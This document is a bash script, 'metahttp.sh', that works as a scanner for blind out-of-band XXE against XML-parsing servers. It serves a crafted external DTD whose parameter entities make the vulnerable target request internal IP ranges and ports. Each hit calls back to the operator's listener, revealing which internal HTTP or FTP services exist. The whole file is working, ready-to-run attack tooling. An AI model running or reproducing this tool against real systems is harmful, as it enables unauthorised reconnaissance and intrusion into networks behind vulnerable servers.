metahttp.sh

#!/bin/bash

function defaults {
    nconnections=4
    verbosity_level=0
    target_path=/
    target_protocol=http
    http_callback_port=7080
    http_dtds_port=8080
    dtds_path_prefix="serveme" #the path prefix that identifies the requests generated by the dispatcher.
                               #only these requests are served with the dtds
    callback_path_prefix="catchme" #the path prefix that identifies the callbacks generated by the script
    outfd=1
    errfd=2
}

function usage {
    cat <<-!
Usage:
    $0 [OPTION]...
    
    -t TARGET_IPS                The scanning target, e.g. 10.0.0.0/24
    -T TARGET_HOSTS_FILE         Alternative to -t option, targets a list of hosts. Use - for using stdin as input file.
    -p PORT_RANGE                The ports that will be part of the scanning, e.g. 80,443,8000-9000
    -x DISPATCHER                The script that will trigger the connection with the XXE to our http/ftp servers
    -n,--server-hostname         The hostname of the server running this script
    -j,--callback-port=7080      The port used to receive the callbacks when a resource is found to be available
    -d,--http-dtds-port=8080     The port used by the http server to serve the external dtd
    -e,--target-protocol=http    The protocol of the resource we are testing. e.g. http(s), ftp
    -a,--target-path=/           The path of the http resource we are testing
    -s CONNECTIONS=4             Number of simultaneous connections to the target server when performing the port scanning
    -o FILE=stdout               The file where the command output will be stored
    -v                           Verbosity level. For increased verbosity level use -vv
    
!
}

function parse_args {
    [[ $# -eq 0 ]] && {
        usage
        exit
    }

    while [[ $# -gt 0 ]]; do
        key="$1"

        case $key in
            -t)
            target_cidr="$2"
            shift
            shift
            ;;
            -T)
            hosts_file="$2"
            shift
            shift
            ;;
            -p)
            target_ports="$2"
            shift
            shift
            ;;
            -s)
            nconnections="$2"
            shift
            shift
            ;;
            -x)
            dispatcher="$2"
            shift
            shift
            ;;
            -o)
            outfile="$2"
            eval "exec $outfd>$outfile"
            shift
            shift
            ;;
            -d|--http-port)
            http_dtds_port="$2"
            shift
            shift
            ;;
            -e|--target-protocol)
            target_protocol="$2"
            shift
            shift
            ;;
            -a|--target-path)
            target_path="$2"
            shift
            shift
            ;;
            -n|--server-hostname)
            server_hostname="$2"
            shift
            shift
            ;;
            -j|--callback-port)
            http_callback_port="$2"
            shift
            shift
            ;;
            -v*)
            verbosity_level=$(printf %s ${1#-}|wc -c)
            shift
            ;;
            --help)
            usage
            exit
            shift
            ;;
            *) 
            echo "invalid option $1"
            exit
            ;;
        esac
    done
}

function runtime_progress {
    local in msg='No data yet'
    while :;do
        read -r -n1 in <&$old_stdin
        while read -r -t 0.5 in;do
            msg=$in
        done
        printf "\r${msg}\n" >&"$errfd"
        read -r -t 0.2 -n100000 in <&$old_stdin
    done
}

function print_msg {
    local user_color=${3:-YELLOW} title="$1" subtitle="${2:-}" fd=${4:-$errfd} nichar sep=
    declare -A colors
    
    [[ ! -t $fd ]] && nichar='\r'
    
    colors[NC]=${nichar:-'\033[0m'} 
    colors[YELLOW]=${nichar:-'\033[0;33m'}
    colors[RED]=${nichar:-'\033[0;31m'}
    colors[GREEN]=${nichar:-'\e[32m'}
    colors[BLUE]=${nichar:-'\e[104m'}
    
    [[ -n $1 ]] && sep=' '
    
    printf "%s%s${colors[$user_color]}%s${colors[NC]}\n" "$title" "$sep" "$subtitle" >&"${fd}"
}

function debug_print {
    [[ ${1:-0} -le $verbosity_level ]] && print_msg "" "${*:2}" NC
}

function n2ip {
    local static_parts dynamic_parts last_part=${1##*.}
    dynamic_parts=( $last_part )
    while [[ ${dynamic_parts[0]} -ge 256 ]]; do
        dynamic_parts=( $((${dynamic_parts[0]}/256)) $((${dynamic_parts[0]}%256)) "${dynamic_parts[@]:1}" )
    done
    IFS=. read -a static_parts<<<${1%$last_part}0.0.0
    echo ${static_parts[@]:0:4-${#dynamic_parts[@]}} ${dynamic_parts[@]}|tr ' ' .
}

function ip2n {
    local dots=$(echo "$1" | tr -cd . | wc -c)
    local ip=$1 n=0

    [[ $dots -ne 3 ]] && {
        local last_part=${ip##*.}
        ip=$(printf %s ${ip%${last_part}} $(printf '0.%.0's $(seq $((3-$dots)))) ${last_part})
    }
    IFS=. read -a ip_parts <<< "$ip"
    for ip_part in "${ip_parts[@]}"; do
        n=$((n*256+ip_part))
    done
    echo $n
}

function expand_cidr_block {
    local cidr_ip ip mask first_ip last_ip
    cidr_ip=$1
    [[ $cidr_ip != *"/"* ]] && cidr_ip=${cidr_ip}/32
    ip=${cidr_ip%/*}
    mask=${cidr_ip#*/}
    first_ip=$(($(ip2n $ip)&~(2**(32-mask)-1)))
    last_ip=$((first_ip+2**(32-mask)-1))
    echo $first_ip $last_ip
}

function ip_man {
    local ip_list_element ranges_arr i n_ip
    
    export -f expand_cidr_block ip2n
    
    mapfile ranges_arr < <(
        while read -d, ip_list_element || [[ ! -z $ip_list_element ]];do
            if [[ $ip_list_element == *' '* ]]; then
                printf '%s %s\n' $(echo $ip_list_element|xargs -d' ' -n1 bash -c 'ip2n $1' _)
            else
                expand_cidr_block $ip_list_element
            fi
        done < <(echo "$1"|tr - ' ')
    )
    
    for((i=0;i<${#ranges_arr[*]};i++)); do
        for((n_ip=${ranges_arr[i]% *};n_ip<=${ranges_arr[i]#* };n_ip++)); do
            echo $(n2ip $n_ip)
        done
    done
}

function expand_ports {
    local port_range port_arr
    while read -d, port_range || [[ ! -z $port_range ]];do
        port_arr=($port_range $port_range)
        printf '%s ' "${port_arr[*]:0:2}"
    done < <(echo "$1"|tr - ' ')
}

function count_ranges {
    local total=0
    while [[ $# -gt 0 ]];do
        ((total+=${2}-${1}+1))
        shift;shift
    done
    echo $total
}

function get_client {
    local client_info timeout=${2:-15}
    
    function call_dispatcher {
        timeout -k 5 60 "${dispatcher_call[@]}" 2>/dev/null 1>&2 &
        disown %%
    }
    
    call_dispatcher
    read -r <&${1}
    
    while ! read -t $timeout -r client_info <&${1} ;do
        call_dispatcher
    done
    debug_print 1 Client: $client_info
}

function run_task {
    local host=$1 port=$2 fds fds_PID fd_in fd_out handler req_line=
    
    function close_fd {
        eval "exec ${1}>&-"
    }
    
    function clean_up {
        {
            close_fd ${fd_in}
            close_fd ${fd_out}
            kill -2 $fds_PID
        } 2>/dev/null
    }
    
    debug_print 1 "=============$host:$port=============="
    while :; do
        #1)simultaneous connections funcitonality depends on nc being compiled with
        #reuseaddr,reuseport options set on sockets which is often the case
        #2)bash-coproc closes fds and unsets vars as soon as the coproc dies, checking whether
        #fds is still set appears to be the most reliable way to interact with coproc. avoid in the future
        { coproc fds (nc -lnvp $listening_port 2>&1); } 2>/dev/null
        exec {fd_in}<&${fds[0]}
        exec {fd_out}>&${fds[1]}
        
        get_client $fd_in
        
        read -t 4 -r req_line <&"${fd_in}" || {
            debug_print 1 Failed to read request line for $host:$port
            clean_up
            continue
        }
        debug_print 2 "Request line: $req_line" 
        
        for handler in "${!http_routing_info[@]}";do
            [[ $req_line == ${http_routing_info[$handler]} ]] && {
                debug_print 2 "$handler is handling: $req_line" 
                break 2
            }
        done
        debug_print 2 "Request not initiated by the dispatcher" 
        clean_up
        continue
    done
    
    $handler $fd_in $fd_out $host $port "$req_line"

    clean_up
}

function http_dtds_server {
    local fd_in="${1}" fd_out="${2}" ip="$3" port="$4" dtd
    
    function write_response {
        printf "HTTP/1.0 200 OK\r\nContent-Length: ${#1}\r\n\r\n%s" "$1">&"${fd_out}"
    }
    
    debug_print 1 "http handler: ${ip}:${port}${target_path}"
    
    dtd="
        <!ENTITY % test_target SYSTEM '${target_protocol}://${ip}:${port}${target_path}'>
        <!ENTITY % callback SYSTEM 'http://${server_hostname}:${http_callback_port}/${callback_path_prefix}${ip}_${port}'>
        <!ENTITY % trigger '%test_target;%callback;'>
        %trigger;
    "
    write_response "$dtd"
    
    sleep 1
}

function http_callback_handler {
    local prefix="GET /$callback_path_prefix" req req_path ip port rest
    while :; do
        read -r req
        [[ $req == "$prefix"* ]] && {
            req_path=${req#"$prefix"}
            req_path=${req_path% *}
            IFS=_ read -r ip port rest <<<"$req_path"
            print_msg "" "HTTP service found at: $ip:${port}${target_path} $rest" GREEN "$outfd"
        }
    done
}

###########END OF FUNCTIONS#################

trap "pkill -2 -P $$" EXIT

set -u -f
#set -x

defaults
parse_args "$@"

user_provided_external=1
[[ -z "${server_hostname+x}" ]] && {
    server_hostname=$(curl -s ifconfig.me)
    user_provided_external=0
}
dispatcher_call=("$dispatcher" "${server_hostname}" "$http_dtds_port" "$dtds_path_prefix")

if [[ -n ${target_cidr+x} ]]; then
    mapfile -t hosts < <(ip_man "$target_cidr")
    hosts_source="$target_cidr"
else
    mapfile -t hosts < <(cat "$hosts_file")
    hosts_source="$hosts_file"
fi

declare -A http_routing_info
http_routing_info[http_dtds_server]="GET /${dtds_path_prefix}*"

print_msg "" "******XXE HTTP SERVICE SCANNER******"
print_msg "Target Hosts:" "$hosts_source (${#hosts[@]})"
print_msg "Target Ports:" "$target_ports"
print_msg "Dispatcher:" "$dispatcher"
print_msg "Simultaneous Connections:" "$nconnections"

print_msg "HTTP Callback URL:" "${server_hostname}:${http_callback_port}/${callback_path_prefix}"
print_msg "HTTP DTDs Server URL:" "${server_hostname}:${http_dtds_port}/${dtds_path_prefix}"
print_msg "HTTP Target:" "${target_protocol}://HOST${target_path}"
[[ "$user_provided_external" == 0 ]] && print_msg "" "WARNING: Server hostname not provided, using: ${server_hostname}" RED
[[ ! -x $dispatcher ]] && print_msg "" "WARNING: Dispatcher file is not executable" RED
echo

###########MAIN LOGIC##############

exec {old_stdin}<&0
terminal_in=0
if [[ -t 0 ]]; then
    terminal_in=1
    exec {runtime_progress_fd}> >(runtime_progress)
fi

listening_port=$http_dtds_port
exec 9> >(http_callback_handler)
socat -T 4 tcp-l:$http_callback_port,reuseaddr,fork,crlf system:"head -n1>&9;echo HTTP/1.0 200;echo" &
#socat -T 4 -u tcp-l:$http_callback_port,reuseaddr,fork,crlf FD:$http_monitor_fd & 
disown %%


port_ranges=($(expand_ports "$target_ports"))
total_tasks=$((${#hosts[@]}*$(count_ranges ${port_ranges[*]})))
tasks_completed=0
for host in "${hosts[@]}"; do
    [[ -z $host ]] && continue
    for((port_i=0;port_i<${#port_ranges[@]};port_i+=2)); do
        for((port=${port_ranges[port_i]};port<=${port_ranges[$port_i+1]};port++)); do
            while [[ $(jobs -r|grep run_task|wc -l) -ge $nconnections ]];do
                sleep 1
            done
            run_task $host $port &
            
            ((tasks_completed++))
            [[ $terminal_in == 1 && $((RANDOM%3)) == 0 ]] && {
                printf "[%s/%s] %s:%s\n" $tasks_completed $total_tasks $host $port >&${runtime_progress_fd}
            }
        done
    done
done
wait
sleep 3